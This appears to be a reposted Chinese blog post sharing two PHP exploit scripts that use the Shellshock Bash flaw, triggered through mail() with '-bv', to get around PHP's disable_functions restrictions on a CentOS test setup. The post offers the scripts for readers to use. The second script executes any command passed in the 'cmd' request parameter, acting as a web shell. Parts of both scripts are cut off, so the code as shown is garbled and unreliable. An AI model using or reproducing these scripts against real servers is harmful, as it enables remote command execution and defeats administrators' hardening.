PHP 5.x and GNU Bash <= 4.3 Shellshock Exploit

之前ImageMagic漏洞火的时候，本站转发了一篇关于利用ImageMagic漏洞来绕过disable_function限制的文章，文章链接如下：

利用ImageMagick漏洞绕过disable_function

最近网上乱逛，在70sec发现这个脚本，国外大牛早就发出来了，只是我们没有使用，再转发给各位小伙伴们。

测试环境：php 5.3.2 bash 4.1.2 Centos 6

php.ini中存在如下设置：

disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Bypass1脚本代码

{$file}");
mail("xpl@localhost", "", "", "", "-bv");
echo '
';
echo file_get_contents($file);
echo '
';

unlink($file);

}
?>
Bypass2脚本代码
$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("[email protected]","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo '
';
echo shellshock($_REQUEST["cmd"]);
echo '
';

?>
两个脚本功能一样的，写法稍有不同，大家可以任选其一使用,效果如图：




  
from www.waitalone.cn.thanks for it.